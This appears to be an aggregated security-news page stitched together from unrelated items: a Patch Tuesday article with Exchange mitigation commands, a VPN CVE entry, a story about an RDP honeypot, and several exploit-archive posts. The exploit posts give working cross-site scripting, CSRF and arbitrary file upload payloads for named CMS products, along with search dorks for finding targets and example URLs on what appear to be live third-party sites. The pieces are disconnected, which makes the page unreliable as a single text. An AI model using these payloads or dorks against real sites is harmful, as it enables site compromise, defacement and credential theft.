Ever had a virtual machine crash? Azure Serial console is a great way to directly connect to your Virtual machine and debug what went wrong. Azure Serial Console is a feature that’s available for free for everyone. While the primary intent of this feature is to assist users debug their machine, there are several interesting ways to abuse the features and compromise sensitive information.

Azure Serial Console Attack and Defense - Part 1

Categories: Exploits and vulnerabilities
Categories: News
Microsoft has announced patches for 87 vulnerabilities this month, including two that are being actively exploited.



(Read more...)




The post August Patch Tuesday stops actively exploited attack chain and more appeared first on Malwarebytes Labs.

August’s Patch Tuesday is a lot quieter than it was last month, when Microsoft patched a whopping 130 vulnerabilities. That number went down to 87 this month but it does include two actively exploited vulnerabilities.

Let’s start by looking at those two:

CVE-2023-38180 (CVSS score 7.5 out of 10): a .NET and Visual Studio Denial of Service (DoS) vulnerability. Although there is a Proof of Concept (PoC) available to exploit this vulnerability, Microsoft notes that the code or technique is not functional in all situations and may require substantial modification by a skilled attacker, probably because the attacker would need to be on the same network as the target system.

CVE-2023-36884 (CVSS score 7.5 out of 10): a Windows Search Remote Code Execution (RCE) vulnerability. We discussed it last month in detail when Microsoft offered mitigation advice. The CVSS score and scope of the vulnerability have been changed since then. Microsoft has issued a security advisory about this and recommends installing the Office updates it discusses, as well as installing the Windows updates from August 2023..

Other vulnerabilities that deserve some attention are six vulnerabilities in Microsoft Exchange Server including:

CVE-2023-21709 (CVSS score 9.8 out of 10): a Microsoft Exchange Server Elevation of Privilege (EoP) vulnerability which could allow an attacker to login as another user. In the FAQ about the vulnerability Microsoft says that additional steps are needed to protect against this vulnerability.

In addition to installing the updates a script must be run. Alternatively you can accomplish the same by running commands from the command line in a PowerShell window or some other terminal.

**Follow these steps:**

(Strongly recommended) Install Exchange Server 2016 or 2019 August SU (or later)

Do one of the following:

Apply the solution for the CVE automatically on your servers, run the CVE-2023-21709.ps1 script. You can find the script and the documentation here: https://aka.ms/CVE-2023-21709ScriptDoc.

or

Apply the solution for the CVE manually on each server, by running the following command from an elevated PowerShell window:

Clear-WebConfiguration -Filter "/system.webServer/globalModules/add\[@name='TokenCacheModule'\]" -PSPath "IIS:\\"

To roll-back the solution for the CVE manually on each server, run the following:

New-WebGlobalModule -Name "TokenCacheModule" -Image "%windir%\\System32\\inetsrv\\cachtokn.dll"

Although Microsoft recommends installing the security updates as soon as possible, running the script or the commands on a supported version of Exchange Server prior to installing the updates will address this vulnerability.

**Other vendors**

Other vendors have synchronized their periodic updates with Microsoft. Here are few major ones that you may find in your environment.

**Adobe** has issued a critical security update for Acrobat and Reader.

**Android’s** August updates were released by Google.

**Cisco** released security updates for Cisco Secure Web Appliance and Cisco AnyConnect.

**Fortinet** has released a security update to address a vulnerability (CVE-2023-29182).

**Ivanti** has patched a second zero-day vulnerability (CVE-2023-35081).

**SAP** has released its August 2023 Patch Day updates.

**We don’t just report on vulnerabilities—we identify them, and prioritize action.**

Cybersecurity risks should never spread beyond a headline. Keep vulnerabilities in tow by using Malwarebytes Vulnerability and Patch Management.

August Patch Tuesday stops actively exploited attack chain and more

An issue was discovered in Avira Phantom VPN through 2.23.1 for macOS. The VPN client insecurely configures the operating system such that all IP traffic to the VPN server's IP address is sent in plaintext outside the VPN tunnel, even if this traffic is not generated by the VPN client, while simultaneously using plaintext DNS to look up the VPN server's IP address. This allows an adversary to trick the victim into sending traffic to arbitrary IP addresses in plaintext outside the VPN tunnel. NOTE: the tunnelcrack.mathyvanhoef.com website uses this CVE ID to refer more generally to "ServerIP attack, combined with DNS spoofing, that can leak traffic to an arbitrary IP address" rather than to only Avira Phantom VPN.

CVE-2023-36673: Widespread design flaws in VPN clients

Security researchers set up a remote machine and recorded every move cybercriminals made—including their login details.

Plenty of people tried to access the system. Over the past three years, it has captured 21 million login attempts, with more than 2,600 successful logins by attackers brute-forcing the weak password they purposefully used on the system. They recorded 2,300 of these successful logins, gathered 470 files that were uploaded, and analyzed 339 of the videos with useful footage. (Some recordings were just a couple of seconds long, and proved less useful.) “We cataloged the techniques, the tooling, everything done on these systems,” Bilodeau says.

Bergeron and Bilodeau have grouped the attackers into five broad categories based on character types from the role-playing game Dungeons and Dragons. Most common were the rangers: once these attackers were inside the trap RDP session, they would immediately start exploring the system, removing Windows antivirus tools, delving into folders, looking at the network it was on and other elements of the machine. Rangers wouldn’t take any action, Bergeron says. “It's basic recon,” she says, suggesting they may be evaluating the system for others to enter it.

Barbarians were the next most frequent kind of attackers. These use multiple hacking tools, such as Masscan and NLBrute, to brute-force their way into other computers, the researchers say. They work through a list of IP addresses, usernames, and passwords, trying to break into the machines. Similarly, the group they call wizards use their access to the RDP to launch attacks against other insecure RDPs—potentially masking their identity across many layers. “They use the RDP access as a portal to connect to other computers,” Bergeron says.

The thieves, meanwhile, do what their name implies. They try to make money out of the RDP access in any way possible. They use traffic monetization websites and install crypto miners, the researchers say. They might not earn a lot in one go, but multiple compromises can add up.

The final group Bergeron and Bilodeau observed is the most haphazard: the bards. These people, the researchers say, may have purchased access to the RDP and are using it for a variety of reasons. One person the researchers watched Googled the “strongest virus ever,” Bergeron says, while another tried to access Google Ads.

Others simply tried (and failed) to find porn. “We can see the beginner level he is in, as he searched for porn on YouTube—nothing appears, of course,” Bergeron says, since YouTube doesn’t permit pornography. Multiple sessions were spotted trying to access porn, the researchers say, and these users were always writing in Farsi, indicating they may be trying to access porn in places where it is blocked. (The researchers weren’t able to determine conclusively where many of those accessing the RDP were doing so from.)

Despite this, watching the attackers reveals the way they behave, including some more peculiar actions. Bergeron, who has a PhD in criminology, says the attackers were sometimes “very slow” at doing their work. Often she was “getting impatient” while watching them, she says. “I’m like: ‘Come on, you're not good at that’ or 'Go faster’ or ‘Go deeper,’ or ‘You can do better.’”

A Clever Honeypot Tricked Hackers Into Revealing Their Secrets

PHPJabbers Vacation Rental Script version 4.0 suffers from a cross site request forgery vulnerability.

    # Exploit Title: PHPJabbers Vacation Rental Script 4.0 - CSRF# Date: 05/08/2023# Exploit Author: Hasan Ali YILDIR# Vendor Homepage: https://www.phpjabbers.com/# Software Link: https://www.phpjabbers.com/vacation-rental-script/# Version: 4.0# Tested on: Windows 10 Pro## DescriptionThe attacker can send to victim a link containing a malicious URL in an email or instant messagecan perform a wide variety of actions, such as stealing the victim's session token or login credentialsTechnical Detail / POC==========================1. Login Account2. Go to Property Page (https://website/index.php?controller=pjAdminListings&action=pjActionUpdate)3. Edit Any Property (https://website/index.php?controller=pjAdminListings&action=pjActionUpdate&id=21)[1] Cross-Site Request ForgeryRequest:https://website/index.php?controller=pjAdminListings&action=pjActionUpdate&id=21&tab="<script><font%20color="red">CSRF%20test</font>[2] Cross-Site Scripting (XSS)Request:https://website/index.php?controller=pjAdminListings&action=pjActionUpdate&id=21&tab="<script><image/src/onerror=prompt(8)>

PHPJabbers Vacation Rental Script 4.0 Cross Site Request Forgery

Lucee version 5.4.2.17 suffers from a cross site scripting vulnerability.

    # Exploit Title: Lucee 5.4.2.17 - Authenticated Reflected XSS# Google Dork: NA# Date: 05/08/2023# Exploit Author: Yehia Elghaly# Vendor Homepage: https://www.lucee.org/# Software Link: https://download.lucee.org/# Version: << 5.4.2.17# Tested on: Windows 10# CVE: N/ASummary: Lucee is a light-weight dynamic CFML scripting language with a solid foundation.Lucee is a high performance, open source, ColdFusion / CFML server engine, written in Java.Description: The attacker can able to convince a victim to visit a malicious URL, can perform a wide variety of actions, such as stealing the victim's session token or login credentials.The payload: ?msg=<img src=xss onerror=alert('xssya')>http://172.16.110.130:8888/lucee/admin/server.cfm?action=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%29%3EPOST /lucee/admin/web.cfm?action=services.gateway&action2=create HTTP/1.1Host: 172.16.110.130:8888User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 278Origin: http://172.16.110.130:8888Connection: closeReferer: http://172.16.110.130:8888/lucee/admin/web.cfm?action=services.gateway&action2=createCookie: cfid=ee75e255-5873-461d-a631-0d6db6adb066; cftoken=0; LUCEE_ADMIN_LANG=en; LUCEE_ADMIN_LASTPAGE=overviewUpgrade-Insecure-Requests: 1name=AsynchronousEvents&class=&cfcPath=lucee.extension.gateway.AsynchronousEvents&id=a&_id=a&listenerCfcPath=lucee.extension.gateway.AsynchronousEventsListener&startupMode=automatic&custom_component=%3Fmsg%3D%3Cimg+src%3Dxss+onerror%3Dalert%28%27xssya%27%29%3E&mainAction=submit[Affected Component]Debugging-->TemplateService --> SearchServices  --> Event GatewayService --> Logging

Lucee 5.4.2.17 Cross Site Scripting

eHato CMS version 1.0 suffers from a cross site scripting vulnerability.

**eHato CMS 1.0 Cross Site Scripting**

Posted Aug 9, 2023

Authored by indoushka

eHato CMS version 1.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 288795acae37e9889703f9a9e13f4dc91e382a11ff20d9b6c617e50c574fefb2

Download | Favorite | View

**eHato CMS 1.0 Cross Site Scripting**

    ====================================================================================================================================| # Title     : eHato CMS 1.0 XSS Vulnerability                                                                                    || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)                                               | | # Vendor    : https://www.ehato.com                                                                                              |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /news/news.asp?keyword=%25C3%25F6%25C1%25E4%25A6r%25B7j%25B4M'%22()%26%25<acx><ScRiPt%20>prompt(996317)</ScRiPt>&kind_id=&Page=2[+] http://wtatcs.orgtw/news/news.asp?keyword=%25C3%25F6%25C1%25E4%25A6r%25B7j%25B4M'%22()%26%25<acx><ScRiPt%20>prompt(996317)</ScRiPt>&kind_id=&Page=2Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (81,924)
*   Arbitrary (16,191)
*   BBS (2,859)
*   Bypass (1,740)
*   CGI (1,026)
*   Code Execution (7,275)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,343)
*   DoS (23,415)
*   Encryption (2,369)
*   Exploit (51,833)
*   File Inclusion (4,221)
*   File Upload (973)
*   Firewall (821)
*   Info Disclosure (2,766)
*   Intrusion Detection (892)
*   Java (3,043)
*   JavaScript (858)
*   Kernel (6,666)
*   Local (14,447)
*   Magazine (586)
*   Overflow (12,690)
*   Perl (1,423)
*   PHP (5,142)
*   Proof of Concept (2,338)
*   Protocol (3,601)
*   Python (1,535)
*   Remote (30,753)
*   Root (3,579)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,639)
*   Security Tool (7,883)
*   Shell (3,180)
*   Shellcode (1,214)
*   Sniffer (894)
*   Spoof (2,206)
*   SQL Injection (16,361)
*   TCP (2,406)
*   Trojan (687)
*   UDP (893)
*   Virus (664)
*   Vulnerability (31,765)
*   Web (9,661)
*   Whitepaper (3,749)
*   x86 (962)
*   XSS (17,926)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,922)
*   Debian (6,810)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,418)
*   Mac OS X (686)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (484)
*   RedHat (13,709)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,803)
*   UNIX (9,286)
*   UnixWare (186)
*   Windows (6,568)
*   Other

eHato CMS 1.0 Cross Site Scripting

Dexx CMS HTML and Site Builder version 2.2.3 suffers from cross site scripting and arbitrary file upload vulnerabilities.

====================================================================================================================================  
| # Title     : Dexx CMS - HTML and Site Builder V2.2.3 Remote File Upload vulnerability                                           |  
| # Author    : indoushka                                                                                                          |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla Firefox 114.0.1 (64 bits)                                          |   
| # Vendor    : https://www.ezwsb.com/                                                                                             |    
| # Dork      : "Our award-winning templates are the most beautiful way to present your ideas online."                             |  
====================================================================================================================================

[+] P0C : 

[+] The script is based on Laravel framework so you can apply the vulnerability for the framework

    https://dl.packetstormsecurity.net/2301-exploits/laravel9470-disclose.txt

  [-] XSS via file upload :

[+] Dorking İn Google Or Other Search Enggine.

[+] Register as a member of the target site .

[+] After registering, log in and go to /account/settings .

[+] path : https://127.0.0.1/storage/avatars/9SCDIW0ntFJYqaP9IfrOqhJfzNoyukqmbEOtJxH8.svg 

[-] Unrestricted File Upload :

[+] Go to ( Dashboard/Projects/New)to create a new project or Choose a template for your project .

[+] Choose Edit Image and upload your malicious file .

[+] path : https://127.0.0.1/storage/projects/1628/iGqYdWiwCUZGShvwQ4p14VLzvxbey33IN85U/images/ogSIFm8ztsQv4BBEy9Ci96utafSBsu45oe1RhL3y.htm

           https://127.0.0.1/storage/projects/1628/iGqYdWiwCUZGShvwQ4p14VLzvxbey33IN85U/images/kNHGCajolk2LcxsEZq8Q5sGn9p7Pt7gO5nOO1zwz.txt

           https://127.0.0.1/storage/projects/1628/iGqYdWiwCUZGShvwQ4p14VLzvxbey33IN85U/images/50otMfIHgIlJz3OFyuBMjeOSKaXs9a49YLZuaMlK.jpg

                  https://127.0.0.1/storage/projects/26/7u3ps1joxTO0o1e3jZYfvb3klddh3GFzS1dh/images/kc4FLhcYIWBq7AhOHTpxWwjPxwKRe4vX8nmLBahh.php

====Greetings to :=========================================================================================================================  
| jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh       |  
===========================================================================================================================================

Dexx CMS HTML And Site Builder 2.2.3 XSS / Arbitrary File Upload

DevSoft Arge Bilişim CMS version 1.0.0 suffers from a cross site scripting vulnerability.

    ======================================================================================================================================| # Title     : DevSoft Arge Bilişim CMS V1.0.0 XSS Vulnerability                                                                    || # Author    : indoushka                                                                                                            || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(32-bit)                                               | | # Vendor    : https://devsoft.com.tr/                                                                                              |  | # Dork      : intext:''Web Yazılım: Devsoft''                                                                                      |======================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /urunler.php?id=90'<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+] http://127.0.0.1/adabrokercomtr/urunler.php?id=90%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

DevSoft Arge Bilişim CMS 1.0.0 Cross Site Scripting

Desenvolvido Buscazip Guiaking CMS version 1.0 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Desenvolvido Buscazip Guiaking CMS v1.0 XSS Vulnerability                                                          || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.3(32-bit)                                             | | # Vendor    : https://buscazip.com.br/                                                                                           |  | # Dork      : intext:Site desenvolvido por Buscazip, Guiaking Empresas                                                           |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload :  /imovel.php?id=22'<script>alert(/indoushka/);</script>[+] https://ariquemes190combr/imovel.php?id=22%27%3Cscript%3Ealert(/indoushka/);%3C/script%3EGreetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

Tag

#windows